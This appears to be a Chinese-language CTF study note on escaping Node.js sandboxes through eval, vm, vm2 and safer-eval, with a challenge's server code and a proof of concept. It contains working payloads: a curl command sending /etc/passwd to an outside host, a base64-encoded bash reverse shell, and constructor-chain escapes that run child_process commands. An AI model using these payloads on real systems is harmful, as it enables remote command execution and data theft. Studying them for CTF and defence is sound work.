NodeJS沙箱逃逸
關於nodejs的沙箱
使用場景
- 在線代碼編輯器
- 第三方js代碼
- jsonp,like百度搜索框
https://www.baidu.com/s?wd=nodejs&ming=aa
此處wd為關鍵詞,ming為函數名。
output:
a({q:"123",p:false,s:["12306","12306鐵路客戶服務中心","12308汽車訂票官網","12306火車票網上訂票官網","12333","12315","12345","12333社保查詢網","123網址之家","12366"]});
注意在此處,s為關鍵詞開始的數據組成的數據。
所以JSONP的基本思想是,網頁通過添加一個<script>元素,向服務器請求JSON數據,所以json就是被包含在函數當中的josn,使用<script>元素進行Ajax傳輸,此時我們是不受同源策略影響的,這樣就可以從其他的服務器請求數據,同事客戶端也會將其自行解碼的。
- vue的服務端渲染/表達式計算
沙箱逃逸
在nodejs當中了,eval始終存在着一定的問題,能夠出乎意料的執行系統命令。
對於存在利用可能性的eval函數,可以使用chile_process.exec來間接調用/bash.sh。
它是一個bash解釋器,可以執行系統命令。在eval函數的參數中可以構造require('child_process').exec('');來進行調用。
like:
讀取文件:
require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');;
反彈shell:
q=require('child_process').exec('echo YmFzaCAtaSAmZ3Q7JiAvZGV2L3RjcC8xOTIuMTY4LjExNC4xLzQ0NDQgMCZndDsmMQ==|base64 -d|bash');
即bash -i >& /dev/tcp/192.168.114.1/4444 0>&1
類eval函數:
setInteval(some_function, 2000)
setTimeout(some_function, 2000);
相當於匿名函數,即php當中create_function。
vm
vm是一個不安全的模塊,包括vm2。
創建vm環境時,首先要初始化一個對象 sandbox,這個對象就是vm中腳本執行時的全局環境context,vm 腳本中全局 this 指向的就是這個對象。
因為this.constructor.constructor返回的是Function constructor,所以可以利用Function構造函數並執行,同時Function對象處於主程序中,這里構造的函數內的語句是return this.process.env,結果是返回了主程序的環境變量。
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env); //調用了child_progress
在vm2當中,可以通過制造錯誤,引起外部報錯,再捕獲外部的報錯實現逃逸
收集目標信息,使用js=Error().stack
Error
at vm.js:1:1
at ContextifyScript.Script.runInContext (vm.js:59:29)
at VM.run (/usr/src/app/node_modules/vm2/lib/main.js:219:62)
at /usr/src/app/server.js:51:33
at Layer.handle [as handle_request] (/usr/src/app/node_modules/express/lib/router/layer.js:95:5)
可以發現設置的模塊,如vm.js,查找可pass的poc。
https://github.com/patriksimek/vm2/issues/225
相關題目
2020 HUFUCTFweb just_escape
[GKCTF2020]EZ三劍客-EzNode
const express = require('express');
const bodyParser = require('body-parser');
const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一個很棒的庫
const fs = require('fs');
const app = express();
app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());
// 2020.1/WORKER2 老板說為了后期方便優化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});
poc:
const saferEval = require("./src/index");
const theFunction = function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("whoami").toString()
};
const untrusted = `(${theFunction})()`;
console.log(saferEval(untrusted));